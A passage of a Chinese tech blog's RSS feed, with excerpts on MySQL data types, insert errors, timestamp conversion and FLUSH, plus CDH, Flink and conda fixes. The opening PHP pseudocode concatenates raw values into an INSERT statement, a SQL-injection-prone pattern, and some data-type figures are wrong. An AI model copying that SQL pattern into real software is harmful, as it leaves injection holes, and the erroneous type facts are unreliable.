&#39;insert...............&#39;;&#xA;//querysql&#xA;$i++&#xA;}&#xA;因为太过普通同时也没什么难度同时也不是我今天主要写的所以这里我不多说&#xA;方法二：减少连接资源，拼接一条sql&#xA;伪代码如下&#xA;//这里假设arr的key和数据库字段同步，其实大多数框架中在php操作数据库的时候都是这么设计的&#xA;$arr_keys = array_keys($arr);&#xA;$sql = &#39;INSERT INTO tablename (&#39; . implode(&#39;,&#39; ,$arr_keys) . &#39;) values&#39;;&#xA;$arr_values = array_values($arr);&#xA;$sql .= &#34; (&#39;&#34; . implode(&#34;&#39;,&#39;&#34; ,$arr_values) . &#34;&#39;),&#34;;&#xA;$sql = substr($sql ,0 ,-1);&#xA;//拼接之后大概就是 INSERT INTO tablename (&#39;username&#39;,&#39;password&#39;) values</description>
    </item>
    <item>
      <title>oozie com.mysql.jdbc.driver_CDH 安装组件java.lang.ClassNotFoundException: com.mysql.jdbc.Driver 解决方法...</title>
      <link>https://bchobby.github.io/posts/e35e9004cbfcc19ec549720fb89e88d9/</link>
      <pubDate>Wed, 20 Jan 2021 03:25:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e35e9004cbfcc19ec549720fb89e88d9/</guid>
      <description>在安装CDH的时候报如下错误：&#xA;https://www.cndba.cn/dave/article/3376https://www.cndba.cn/dave/article/3376https://www.cndba.cn/dave/article/3376&#xA;仅完成 0/1 个步骤。首个失败：命令 (Create Hive Metastore database tables (127)) 已失败https://www.cndba.cn/dave/article/3376https://www.cndba.cn/dave/article/3376&#xA;Tue Apr 30 13:32:40 CST 2019&#xA;Current working directory: /opt/cm-5.16.1/run/cloudera-scm-agent/process/80-hive-metastore-create-tables&#xA;Launching one-off process: /opt/cm-5.16.1/lib64/cmf/service/hive/hive.sh create_metastore_tables&#xA;Tue Apr 30 13:32:40 CST 2019&#xA;JAVA_HOME=/usr/java/jdk1.8.0_211-amd64&#xA;using /usr/java/jdk1.8.0_211-amd64 as JAVA_HOME&#xA;using 5 as CDH_VERSION&#xA;using /opt/cloudera/parcels/CDH-5.16.1-1.cdh5.16.1.p0.3/lib/hive as HIVE_HOME&#xA;using /opt/cm-5.16.1/run/cloudera-scm-agent/process/80-hive-metastore-create-tables as HIVE_CONF_DIR&#xA;using /opt/cloudera/parcels/CDH-5.16.1-1.cdh5.16.1.p0.3/lib/hadoop as HADOOP_HOME&#xA;using /opt/cm-5.16.1/run/cloudera-scm-agent/process/80-hive-metastore-create-tables/yarn-conf as HADOOP_CONF_DIR&#xA;CONF_DIR=/opt/cm-5.16.1/run/cloudera-scm-agent/process/80-hive-metastore-create-tables&#xA;CMF_CONF_DIR=/opt/cm-5.16.1/etc/cloudera-scm-agent&#xA;Metastore connection URL: jdbc:mysql://hadoop-cm:3306/hive?useUnicode=true&amp;amp;characterEncoding=UTF-8&#xA;Metastore Connection Driver : com.mysql.jdbc.Driver</description>
    </item>
    <item>
      <title>mysql成绩是什么数据类型_mysql数据类型</title>
      <link>https://bchobby.github.io/posts/d92f994795ee3ac014607efda52ea7ca/</link>
      <pubDate>Wed, 20 Jan 2021 01:25:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d92f994795ee3ac014607efda52ea7ca/</guid>
      <description>1、整型&#xA;取值范围如果加了unsigned，则最大值翻倍，如tinyint unsigned的取值范围为(0~256)。&#xA;int(m)里的m是表示SELECT查询结果集中的显示宽度，并不影响实际的取值范围，没有影响到显示的宽度，不知道这个m有什么用。&#xA;2、浮点型(float和double)&#xA;设一个字段定义为float(5,3)，如果插入一个数123.45678,实际数据库里存的是123.457，但总个数还以实际为准，即6位。&#xA;3、定点数&#xA;浮点型在数据库中存放的是近似值，而定点类型在数据库中存放的是精确值。&#xA;decimal(m,d) 参数m&amp;lt;65 是总个数，d&amp;lt;30且 d&#xA;4、字符串(char,varchar,_text)&#xA;char和varchar：&#xA;1.char(n) 若存入字符数小于n，则以空格补于其后，查询之时再将空格去掉。所以char类型存储的字符串末尾不能有空格，varchar不限于此。&#xA;2.char(n) 固定长度，char(4)不管是存入几个字符，都将占用4个字节，varchar是存入的实际字符数+1个字节(n&amp;lt;=255)或2个字节(n&amp;gt;255)，所以varchar(4),存入3个字符将占用4个字节。&#xA;3.char类型的字符串检索速度要比varchar类型的快。&#xA;varchar和text：&#xA;1.varchar可指定n，text不能指定，内部存储varchar是存入的实际字符数+1个字节(n&amp;lt;=255)或2个字节(n&amp;gt;255)，text是实际字符数+2个字节。&#xA;2.text类型不能有默认值。&#xA;3.varchar可直接创建索引，text创建索引要指定前多少个字符。varchar查询速度快于text,在都创建索引的情况下，text的索引似乎不起作用。&#xA;5.二进制数据(_Blob)&#xA;1._BLOB和_text存储方式不同，_TEXT以文本方式存储，英文存储区分大小写，而_Blob是以二进制方式存储，不分大小写。&#xA;2._BLOB存储的数据只能整体读出。&#xA;3._TEXT可以指定字符集，_BLO不用指定字符集。&#xA;6.日期时间类型&#xA;若定义一个字段为timestamp，这个字段里的时间数据会随其他字段修改的时候自动刷新，所以这个数据类型的字段可以存放这条记录最后被修改的时间。&#xA;数据类型的属性</description>
    </item>
    <item>
      <title>mysql显示nan_Python将dataframe连接到MySQL时出现NaN[mysqlconnector]</title>
      <link>https://bchobby.github.io/posts/8543b3d69c90bb8fa0d526eaca1d677f/</link>
      <pubDate>Wed, 20 Jan 2021 01:00:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8543b3d69c90bb8fa0d526eaca1d677f/</guid>
      <description>我使用Python将pandas数据帧中的一些列插入MySQL。我用的是熊猫15.2。以及mysql.connector. 在import mysql.connector&#xA;cte = mysql.connector.connect(user=xxxxxxxxx, password=xxxxxxx, host=xxxxxx)&#xA;cursor = cte.cursor()&#xA;for index, row in pets.iterrows():&#xA;home_pets = (row[&#39;cats&#39;], row[&#39;dogs&#39;], row[&#39;goldfish&#39;], row[&#39;rabbits&#39;], row[&#39;mice&#39;], row[&#39;parrots&#39;])&#xA;add_pets = &#34;&#34;&#34;&#xA;INSERT INTO pets&#xA;(cats, dogs, goldfish, rabbits, mice, parrots)&#xA;VALUES (%s, %s, %s, %s, %s, %s)&#xA;&#34;&#34;&#34;&#xA;cursor.execute(add_pets, home_pets)&#xA;cte.commit()&#xA;我的一个整型列中有“NaN”值。我刚刚添加了这一点，因为之前一切正常，所以我确信这是导致问题的专栏。这是一个varchar(5)(was int(5))列，未设置为“not NULL”。&#xA;编辑：此列(鹦鹉)包含数字0到5作为响应。它还有“NaN”，即受访者没有回答问题。在&#xA;尝试在表中插入数据时收到以下错误消息：&#xA;^{pr2}$&#xA;我希望将int列保留为int，如果可能的话，不必将其更改为object(然后每次从MySQL数据库将数据读入Python时都要来回地修改)。这可能吗？感谢你的帮助。在</description>
    </item>
    <item>
      <title>Flink源码剖析：Jar包任务提交流程</title>
      <link>https://bchobby.github.io/posts/513bf8fce34fc4d2b47ea8ce68d6aa58/</link>
      <pubDate>Tue, 19 Jan 2021 21:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/513bf8fce34fc4d2b47ea8ce68d6aa58/</guid>
      <description>Flink基于用户程序生成JobGraph，提交到集群进行分布式部署运行。本篇从源码角度讲解一下Flink Jar包是如何被提交到集群的。(本文源码基于Flink 1.11.3)&#xA;1 Flink run 提交Jar包流程分析 首先分析run脚本可以找到入口类CliFrontend，这个类在main方法中解析参数，基于第二个参数定位到run方法:&#xA;try { // do action switch (action) { case ACTION_RUN: run(params); return 0; case ACTION_RUN_APPLICATION: runApplication(params); return 0; case ACTION_LIST: list(params); return 0; case ACTION_INFO: info(params); return 0; case ACTION_CANCEL: cancel(params); return 0; case ACTION_STOP: stop(params); return 0; case ACTION_SAVEPOINT: savepoint(params); return 0; case &#34;-h&#34;: case &#34;--help&#34;: ... return 0; case &#34;-v&#34;: case &#34;--version&#34;: ... default: ... return 1; } } 在run方法中，根据classpath、用户指定的jar、main函数等信息创建PackagedProgram。在Flink中通过Jar方式提交的任务都封装成了PackagedProgram对象。</description>
    </item>
    <item>
      <title>【Endnote X9服务器运行失败】</title>
      <link>https://bchobby.github.io/posts/b37012c5b70a22caf6e4c5d51b919ac0/</link>
      <pubDate>Tue, 19 Jan 2021 21:08:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b37012c5b70a22caf6e4c5d51b919ac0/</guid>
      <description>【问题】：使用Endnote在word中插入文献的时候，显示服务器运行失败。&#xA;【环境】：win10+office2016（家庭版）+Endnote X9&#xA;【解决方法】：&#xA;方法一： 先打开word，然后在word中打开endnote就不会报错了。&#xA;方法二：卸载office2016家庭版，安装专业版。&#xA;【吐槽】：厂家预装的软件都是阉割版，包括但不限于输入法和office全家桶。（电脑品牌：dell）&#xA;输入法：预装的输入法是单语言版，只能添加英语一种语言，添加其他语言可以加到系统里，但是在切换的时候只能看到一种。现在这个限制貌似已经修复，博主一通设置之后可以切换中、英、日三种语言了。（虽然还有点不流畅，但是可以用了）&#xA;例：李さんの日本語本当に上手。&#xA;office：预装的office是家庭版，并且！找不到卸载的位置！程序-卸载里找不到office。家庭版office的问题是，使用mathtype向word中写公式的时候会卡死，使用endnote向word中插入文献引用时会报错。&#xA;【找不到office卸载的地方怎么办？】：&#xA;直接安装专业版的office，虽然安装完之后office的版本显示还是家庭版，但是之前mathtype和endnote在word出现的问题已经不再出现。</description>
    </item>
    <item>
      <title>maven多moudle项目在idea里面显示多个root问题</title>
      <link>https://bchobby.github.io/posts/c8d640b550e7bb821f75d537de10f320/</link>
      <pubDate>Tue, 19 Jan 2021 16:44:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8d640b550e7bb821f75d537de10f320/</guid>
      <description>如下图：&#xA;有时候不想显示root，只想有一个root那就在父moudle里面的pom文件里面的moudles里面添加上该moudle就行了：</description>
    </item>
    <item>
      <title>linux运行conda create -n your_env_name python=3.6遇到的问题</title>
      <link>https://bchobby.github.io/posts/47bb7aad1386e9ea80f158431df6beb5/</link>
      <pubDate>Tue, 19 Jan 2021 16:39:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47bb7aad1386e9ea80f158431df6beb5/</guid>
      <description>问题:&#xA;conda create -n your_env_name python=3.6&#xA;Collecting package metadata (repodata.json): failed&#xA;CondaHTTPError: HTTP 000 CONNECTION FAILED for url https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/linux-64/repodata.json&#xA;Elapsed: -&#xA;An HTTP error occurred when trying to retrieve this URL.&#xA;HTTP errors are often intermittent, and a simple retry will get you on your way.&#xA;‘https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/linux-64’&#xA;解决方法:&#xA;执行conda config --remove-key channels后再运行就行了.&#xA;原因是换的源里没有python3.6,把清华源删了就好了(来自一位学弟的解释)</description>
    </item>
    <item>
      <title>今天第一天进来，以后在这里记录我学习嵌入式的学习过程</title>
      <link>https://bchobby.github.io/posts/c4b75c603359dc8beae61f2e5fa6a126/</link>
      <pubDate>Tue, 19 Jan 2021 15:06:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4b75c603359dc8beae61f2e5fa6a126/</guid>
      <description>这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片 学习内容：学习时间：学习产出：生成一个适合你的列表创建一个表格`在这里插`在这里插入代码片`入代码片`设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章，了解一下Markdown的基本语法知识。&#xA;新的改变 我们对Markdown编辑器进行了一些功能拓展与语法支持，除了标准的Markdown编辑器功能，我们增加了如下几点新功能，帮助你用它写博客：&#xA;全新的界面设计 ，将会带来全新的写作体验；在创作中心设置你喜爱的代码高亮样式，Markdown 将代码片显示选择的高亮样式 进行展示；增加了 图片拖拽 功能，你可以将本地的图片直接拖拽到编辑区域直接展示；全新的 KaTeX数学公式 语法；增加了支持甘特图的mermaid语法1 功能；增加了 多屏幕编辑 Markdown文章功能；增加了 焦点写作模式、预览模式、简洁写作模式、左右区域同步滚轮设置 等功能，功能按钮位于编辑区域与预览区域中间；增加了 检查列表 功能。 功能快捷键 撤销：Ctrl/Command + Z&#xA;重做：Ctrl/Command + Y&#xA;加粗：Ctrl/Command + B&#xA;斜体：Ctrl/Command + I&#xA;标题：Ctrl/Command + Shift + H&#xA;无序列表：Ctrl/Command + Shift + U&#xA;有序列表：Ctrl/Command + Shift + O&#xA;检查列表：Ctrl/Command + Shift + C&#xA;插入代码：Ctrl/Command + Shift + K&#xA;插入链接：Ctrl/Command + Shift + L</description>
    </item>
    <item>
      <title>mysql1054错误insert_mysql数据表插入数据出现#1054 - Unknown column &#39;1&#39; in &#39;field list&#39;</title>
      <link>https://bchobby.github.io/posts/ac469066a39f33b668dc3eb7f3d9eaba/</link>
      <pubDate>Tue, 19 Jan 2021 07:57:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac469066a39f33b668dc3eb7f3d9eaba/</guid>
      <description>展开全部&#xA;mysql数据表插入数据出现#1054 - Unknown column &#39;1&#39; in &#39;field list&#39;，这个错误是指32313133353236313431303231363533e4b893e5b19e31333431366339 &#39;1&#39; 这个字段不存在，所以mysql给出了错误原因。&#xA;INSERT INTO `tab`(`table_id`, `table_name`, `table_des`, `table_time`) VALUES (`1`,`椅子`,`3`,`1992`);&#xA;这个sql语句报错的原因是英文values()中的值应该用单引号&#39;&#39;来引用而不是反引号``。&#xA;扩展资料&#xA;mysql中单引号和反引号的用法介绍：&#xA;1、单引号&#xA;SQL 使用单引号来环绕文本值。如果是数值，请不要使用引号。&#xA;按照别的说法来说就是Varchar类型(也可以说是String、字符串类型)这一些在数据库语句中使用的时候应该使用单引号，而不是直接使用。&#xA;而对于数值类型的，反而是不能使用单引号。&#xA;2、反引号&#xA;是为了区分MYSQL的保留字与普通字符而引入的符号。&#xA;有MYSQL保留字作为字段的，必须加上反引号来区分！&#xA;所谓的保留字就是select database insert 这一类数据库的sql指令，当我们不得已要拿他们来做表名和字段名的时候 我们必须要加反引号来避免编译器把这部分认为是保留字而产生错误。&#xA;保留字既不能作为表名，也不能作为字段名，如果非要这么操作，请记住要增加反引号。</description>
    </item>
    <item>
      <title>mysql数据库成绩数据类型_mysql数据库基本数据类型</title>
      <link>https://bchobby.github.io/posts/098bcfbb331d5760c4b5159c9f6f121d/</link>
      <pubDate>Tue, 19 Jan 2021 07:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/098bcfbb331d5760c4b5159c9f6f121d/</guid>
      <description>1，整型&#xA;tinyint 8 位 有/无符号&#xA;smallint 16位 有/无符号&#xA;mediumint 24位 有/无符号&#xA;int　32位 有/无符号&#xA;bigint 64位 有/无符号&#xA;2，浮点型&#xA;float(m,d)　m总位数，d小数位数(约小数点后7位)&#xA;double(m,d)　m总位数，d小数位数&#xA;3，时间类型&#xA;year、time、date、datetime、timestamp五种类型，主要使用datestamp类型&#xA;4，字符类型&#xA;char(m) 最大255字节 255B&#xA;varchar(m)　最大65535字节 64KB&#xA;tinytext 256KB&#xA;text 64KB&#xA;mediumtext 16MB&#xA;longtext 4GB&#xA;enum(&#39;value1&#39;，&#39;value2&#39;...) 枚举类型，多选一&#xA;set(&#39;value1&#39;，&#39;value2&#39;...) 组合类型&#xA;总结：这都是基本的数据类型，应该还有别的，字符型的大小计算不太对！</description>
    </item>
    <item>
      <title>mysql dba 之路_MySQL DBA 成长之路</title>
      <link>https://bchobby.github.io/posts/ae8cf04ac26657727cbf8e002122504c/</link>
      <pubDate>Tue, 19 Jan 2021 05:47:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae8cf04ac26657727cbf8e002122504c/</guid>
      <description>如何成为MySQL DBA&#xA;互联网高速发展的成功，得益于MySQL数据库的给力支持。MySQL本身发展的速度较快，性能方面提升显著，让传统企业也有想法使用MySQL提供服务。目前看来MySQL DBA的缺口非常大。所以欢迎加入到MySQL DBA的团队中来。&#xA;有同学一提到MySQL DBA或是DBA都把高难度入门联系到一块。我从事MySQL DBA差不多10几年了，在这里我也给大家讲述一下怎么成为一名MySQL DBA, 少走湾路，快速成为MySQL DBA。&#xA;首先MySQL大多是跑在Linux环境上的，所以我们需要学习一下Linux的知识，最基础的需要了解：Linux的安装及目录结构意义&#xA;常用的Linux命令，大概20多个&#xA;网络基本知识，进一步了解网关及路由相关概念,dhcp&#xA;撑握一定的Linux网络服务，如果LAMP结构，dns, ftp 等&#xA;其实具备上面的条件，你就可以开始MySQLDBA的学习之路了，其它的知识，可以在学习中补。 MySQL DBA比较特殊，不像别的数据库分为开发DBA，运维DBA，基本上MySQLDBA要把所有的活都干下来，因为MySQL太简单了，很好搞定。 那么下面给大家说一下MySQL DBA的学习路径：了解MySQL的版本意义&#xA;学习MySQL的安装方式，从根本上理解MySQL的启动原理&#xA;学习SQL语言，把高中数学中集合知识好好在学习一下，再来看SQL语言&#xA;学习SQL在MySQL使用中的一些规范(这些最好找有经验的请教一下，或是看看大会中别人分享的学习思考)&#xA;学习MySQL的高级特性： 触发器，事件，存储过程编程，分区等&#xA;学习MySQL的复制，了解复制原理及实现和相关高可用架构中有什么不足&#xA;学习PXC结构的实现，了解运维中的坑&#xA;系统的学习一下MySQL的体系结构，思考如何做MySQL优化，总结配置优化&#xA;学习MySQL的备份恢复，这块可能需要多一些时间好好的系统的学习一下&#xA;掌握几种压力测试的方法，方便优化后能做一个验证&#xA;深入理解Innodb的体系结构，全面理解一下事务及锁的实现，能解析出来一个update tb1 set col1=col1+1 where pk=10; 这样的语句在Innodb都干了什么了。&#xA;可以说上面的东西并不是很难，基本上只要认真努力，都可以进入到MySQL DBA的大门了。当然如果想进入更高级的DBA工作环境，还是需要点更高级的知识：理解MySQL的特点，方便在实际环境决择&#xA;理解操作系统的IO调度，内存分配，CPU使用等&#xA;理解复制的优缺点及改善的方法&#xA;理解系统监控及系统瓶颈点分析&#xA;有一定的问题排查思路&#xA;可以全面的理解高可用的实现及自定义实现高可用架构&#xA;有一定的平台管理意识及实现能力&#xA;理解拆分的作用及实现的方法&#xA;×××长征始于足下，整体上来说踏上技术这条路，就要学会保持学习，能持续更新，敢于多关注最新的资源，利用现有的资源走上更的境界：了解现有硬件的特点&#xA;了解业务的实现及难点&#xA;了解常见NoSQL的使用&#xA;关注新技术&#xA;进入MySQL DBA架构师级别可以进行容量的规划&#xA;如果想系统提高一下MySQL DBA技术的，如果你是在职人员，可以利用周六时间来参加一下我的《MySQLDBA周末提高加班》，如果你现在没有工作，那可以考虑拼博3个月参加一下我组织的《MySQL DBA零基础就业脱产班》 一同走上MySQL DBA岗位。请联系我QQ: 1037447289/微信：zhangdh1113. 2016年一起腾飞。&#xA;在技术的成长之路，还有有一个比较重要的路径：多参加同行业技术交流，关注行业技术实现。推荐： MySQL中国用户组，FireFlyClub 也欢迎各位加入。</description>
    </item>
    <item>
      <title>mysql timestamp转date_Mysql中时间戳转为Date的方法示例</title>
      <link>https://bchobby.github.io/posts/8b56bf4b06a1fc68e7c746d17b8a67c8/</link>
      <pubDate>Tue, 19 Jan 2021 00:49:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b56bf4b06a1fc68e7c746d17b8a67c8/</guid>
      <description>前言&#xA;在工作中遇到一个情况:&#xA;日志系统的表中,时间字段存储的是13位时间戳timestamp而不是日期数据,而在业务中,我们需要通过时间和ip来进行分组查询给定日期的数据.&#xA;当然你可以选择在业务层先将传入的日期转为时间戳,再去进行查询,但是既然mysql既然可以直接进行转换,那么省去在业务层的操作何乐而不为呢?&#xA;1.首先介绍一下mysql中将时间戳和日期互相转换的函数:&#xA;时间戳转换成日期FROM_UNIXTIME():&#xA;FROM_UNIXTIME(1429063399,&#39;%Y-%m-%d %H:%i:%s&#39;)&#xA;如果不需要时分秒,&#39;%Y-%m-%d&#39;就好&#xA;上面例子中使用的是10位时间戳,若是13位时间戳需要/1000,如下:&#xA;FROM_UNIXTIME(1429063399123/1000,&#39;%Y-%m-%d %H:%i:%s&#39;)&#xA;日期转换为时间戳UNIX_TIMESTAMP():&#xA;UNIX_TIMESTAMP(&#39;2015-04-15&#39;)&#xA;%Y年、%m月、%d日、%H时、%i分、%s秒最为常用&#xA;2.实际使用&#xA;在我实际使用中,我还将&#xA;DATE_FORMAT()函数(DATE_FORMAT(data,format) 函数用于以不同的格式显示日期/时间数据)和FROM_UNIXTIME()来进行转换:&#xA;DATE_FORMAT(FROM_UNIXTIME(DateTime/1000),&#39;%Y-%m-%d&#39;)&#xA;SELECT ip,DATE_FORMAT(FROM_UNIXTIME(timestamp/1000),&#39;%Y-%m-%d&#39;) as date,count(*)&#xA;FROM s_page&#xA;where DATE_FORMAT(FROM_UNIXTIME(timestamp/1000),&#39;%Y-%m-%d&#39;) = ?&#xA;GROUP BY ip,DATE_FORMAT(FROM_UNIXTIME(timestamp/1000),&#39;%Y-%m-%d&#39;)&#xA;?为占位符&#xA;总结&#xA;到此这篇关于Mysql中时间戳转为Date的文章就介绍到这了,更多相关Mysql时间戳转为Date内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！</description>
    </item>
    <item>
      <title>mysql设置两个字段唯一索引吗_mysql多个字段唯一索引</title>
      <link>https://bchobby.github.io/posts/3a4bf2804835153cd84885e6d6203518/</link>
      <pubDate>Mon, 18 Jan 2021 22:16:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a4bf2804835153cd84885e6d6203518/</guid>
      <description>方法:&#xA;unique index(字段一,字段二)&#xA;例子:CREATE TABLE IF NOT EXISTS `ppserver`.`eventTable`(&#xA;`userId` INT UNSIGNED NOT null,&#xA;`taskId` INT UNSIGNED NOT null,&#xA;`date` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,&#xA;`createTime` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,&#xA;`endTime` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,&#xA;`taskStatus` INT DEFAULT NULL,&#xA;`addGoldCoin` int DEFAULT NULL,&#xA;`addCash` FLOAT DEFAULT NULL,&#xA;`eventId` INT UNSIGNED AUTO_INCREMENT DEFAULT null,&#xA;unique index(`userId` ,`taskId`,`date`),&#xA;PRIMARY KEY ( `eventId`)</description>
    </item>
    <item>
      <title>mybatis只能连接mysql嘛_Mybatis连接Mysql8.0遇到的坑</title>
      <link>https://bchobby.github.io/posts/499882214419066d47e736fab8c78b4a/</link>
      <pubDate>Mon, 18 Jan 2021 21:14:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/499882214419066d47e736fab8c78b4a/</guid>
      <description>先贴一下错误&#xA;com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Could not create connection to database server.&#xA;at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)&#xA;at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)&#xA;at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)&#xA;at java.lang.reflect.Constructor.newInstance(Constructor.java:422)&#xA;at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)&#xA;at com.mysql.jdbc.Util.getInstance(Util.java:372)&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:958)&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:937)&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:926)&#xA;at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:872)&#xA;at com.mysql.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:2316)&#xA;at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2069)&#xA;at com.mysql.jdbc.ConnectionImpl.(ConnectionImpl.java:794)&#xA;at com.mysql.jdbc.JDBC4Connection.(JDBC4Connection.java:44)&#xA;at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)&#xA;at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)&#xA;at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)&#xA;at java.lang.reflect.Constructor.newInstance(Constructor.java:422)&#xA;at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)&#xA;at com.mysql.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:399)&#xA;at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:325)&#xA;at java.sql.DriverManager.getConnection(DriverManager.java:664)&#xA;at java.sql.DriverManager.getConnection(DriverManager.java:270)&#xA;at com.personal.integral.test.JdbcClass.main(JdbcClass.java:16)&#xA;Caused by: java.lang.NullPointerException&#xA;at com.mysql.jdbc.ConnectionImpl.getServerCharset(ConnectionImpl.java:2989)&#xA;at com.mysql.jdbc.MysqlIO.sendConnectionAttributes(MysqlIO.java:1873)&#xA;at com.mysql.jdbc.MysqlIO.proceedHandshakeWithPluggableAuthentication(MysqlIO.java:1802)&#xA;at com.</description>
    </item>
    <item>
      <title>cass批量选目标快捷键_很土很管用!一招搞定批量修改图形高程</title>
      <link>https://bchobby.github.io/posts/39885666c90621278789f7b4cf8d3dd5/</link>
      <pubDate>Mon, 18 Jan 2021 19:34:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39885666c90621278789f7b4cf8d3dd5/</guid>
      <description>最近有个童鞋私信我，遇到了一个棘手难题：我的图做图时使用A高程系统，现在要输出B高程系统成果。A系统比B系统低10m，图形已经用CASS绘制完成。如何用CASS批量修改全图的等高线和高程点的高程值？&#xA;分析过程：将已知数据和目标数据对比，找到差距和解决的方法。&#xA;已知数据：为A坐标系图形，包括等高线和高程点&#xA;处理方式：将全图的等高线和高程点，批量加一个高程常数10，并更新高程注记。&#xA;一、批量加高程常数 将全图高程点和等高线的Z值增加10。&#xA;操作步骤：&#xA;1.新建图形 菜单：文件-新建图形文件&#xA;2.插入A坐标系图形 菜单：工具-插入图块&#xA;按下图所示设置插入参数&#xA;3.检查修改的结果 分别查看等高线和高程点的Z值是否已经增加10。&#xA;操作：按住Ctrl键+1，打开对象特性对话框。按下图所示查询修改的结果&#xA;二、更新高程注记 1.等高线注记 等高线高程注记，没有随高程值改变而更新。请删除注记后，重新标注。&#xA;2.高程点注记 高程点的Z值已经更新，但高程注记未同步更新。可以执行两步操作，高程注记就批量自动更新。&#xA;点击菜单：绘图处理-高程点处理-打散高程注记。点击菜单：绘图处理-高程点处理-合成打散高程注记 PS：看起来是逆操作，可是很土很管用！看看下图操作前后的高程点注记。&#xA;修改前的高程点 修改后的高程点 复盘总结 解决批量处理全图高程问题，先用插入图块命令，将插入点的高程设置为一个常数，解决批量改高程问题。接着用高程点注记打散和合并操作，将高程点注记更新，解决高程注记更新问题。看起来很土很笨的方法，实实在在的解决了这个棘手的问题。&#xA;CASS的民间高手们，也编写了CAD插件解决这个问题，你们还有更好更快的方法吗？请到生态圈（http://o.southgis.com）和大家一起讨论吧！</description>
    </item>
    <item>
      <title>mysql 刷新_MYSQL FLUSH 刷新缓存</title>
      <link>https://bchobby.github.io/posts/fcbe704ea2d286ae579fc04b94b074bf/</link>
      <pubDate>Mon, 18 Jan 2021 18:27:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcbe704ea2d286ae579fc04b94b074bf/</guid>
      <description>MYSQL当做了权限操作，新加用户，或者是其他表的操作后。要其生效有两种方式，一种是重启服务，另外一种是使用FLUSH命令。第二个方式，使用FLUSH必须有reload权限。&#xA;下面是FLUSH命令的主要参数&#xA;HOSTS 清空主机缓存表。如果你的某些主机改变IP数字，或如果你得到错误消息Host ... isblocked，你应该清空主机表。当在连接MySQL服务器时，对一台给定的主机有多于max_connect_errors个错误连续不断地发生，MySQL认定某些东西错了并且阻止主机进一步的连接请求。清空主机表允许主机再尝试连接。见18.2.3 Host &#39;...&#39; isblocked错误)。&#xA;LOGS 关闭并且再打开标准和更新记录文件。如果你指定了一个没有扩展名的更新记录文件，新的更新记录文件的扩展数字将相对先前的文件加1。&#xA;PRIVILEGES 从MySQL数据库授权表中重新装载权限。 TABLES 关闭所有打开的表。&#xA;STATUS 重置大多数状态变量到0。&#xA;一般情况，例如新增了用户，或者修改了某个用户的权限之后，就需要使用flush命令，跟随参数 privileges&#xA;flush privileges;</description>
    </item>
    <item>
      <title>Maven详解及实例</title>
      <link>https://bchobby.github.io/posts/01039a58152469a6a206890ed4a2f99e/</link>
      <pubDate>Mon, 18 Jan 2021 16:57:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01039a58152469a6a206890ed4a2f99e/</guid>
